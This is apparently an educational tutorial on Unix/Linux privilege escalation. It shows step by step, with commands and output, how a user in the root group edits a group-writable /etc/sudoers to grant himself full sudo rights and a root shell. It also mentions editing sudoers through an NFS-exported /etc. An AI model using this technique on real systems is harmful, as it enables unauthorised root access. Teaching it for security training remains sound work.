Privilege Escalation in Unix/Linux (1)

Privilege escalation in Unix/linux can be performed by using the **sudo** command. The **sudo** command is designed to allow people to run commands with **root** privileges on the target system. The **sudo** command allows a permitted user to execute a command as the superuser or another user, as specified by the security policy. The invoking user's real (not effective) user ID is used to determine the username with which to query the security policy. For example:

```
$ whoami
ajcblyth
$ sudo bash
[sudo] password for ajcblyth: ********
# whoami
root
#
```

So, in the following example we are the use **jazz** and cannot use the **sudo** command. When we try we get the following error message.

```
$ id
uid=1001(jazz) gid=1001(jazz) groups=1001(jazz),0(root),50(staff)
$ sudo bash
[sudo] password for jazz:
jazz is not in the sudoers file.  This incident will be reported.
$
```

In the above we can see that the jazz user is part of the root group and so will be able to access files that are also in the group root. One such file is the **/etc/sudoers**. This file defines who can use the **sudo** command. So, let is now look at the permissions on the **/etc/sudoers** file and see how we can edit/modify it.

```
$ ls -l /etc/sudoers
-rw-rw---- 1 root root 806 Aug  1 04:18 /etc/sudoers
$
```

Examining the above we can see that the user **root** as **read** and **write** permission to the file and that that the group **root** as **read** and **write** permission as well. As the user **jazz** is part of the group **root**, then the user **jazz** should be able to edit and modify the file. Once we have identified that we permissions to edit this file then we can edit the file using the **vi** or **vim** command. The normal entry in will look like the following:

```
# User privilege specification
root          ALL=(ALL:ALL) ALL
```

Once we have finished editing it, it should look like the following. This tells the **sudo** tool that the user **jazz** has permission to become **root** and execute any command **root**.

```
# User privilege specification
root          ALL=(ALL:ALL) ALL
jazz          ALL=(ALL:ALL) ALL
```

Now we can become root via using the following command and invoking a **bash** shell as the user **root**.

```
$ whoami
jazz
$ sudo bash
[sudo] password for jazz: ********
# whoami
root
#
```

If the **/etc** directory is exported via **NFS** with read/write permissions, then it can be mounted and the file **/etc/sudoers** edited to give a root shell. Or you could try the **su root** command.